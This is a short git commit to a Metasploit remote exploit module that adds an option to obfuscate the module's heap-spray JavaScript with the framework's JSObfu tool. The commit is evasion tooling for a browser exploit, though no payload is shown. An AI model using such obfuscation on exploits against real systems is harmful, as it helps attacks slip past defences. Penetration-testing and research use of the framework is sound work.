Support heap spray obfuscation

bug/bundler_fix
jvazquez-r7 2013-11-11 17:05:54 -06:00
parent 922f0eb900
commit 30de61168d
1 changed files with 11 additions and 0 deletions

View File

@ -102,6 +102,11 @@ class Metasploit3 < Msf::Exploit::Remote
'DisclosureDate' => "Apr 1 2012",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class
)
end
@ -127,6 +132,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
js = heaplib(js, {:noobfu => true})
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
return js
end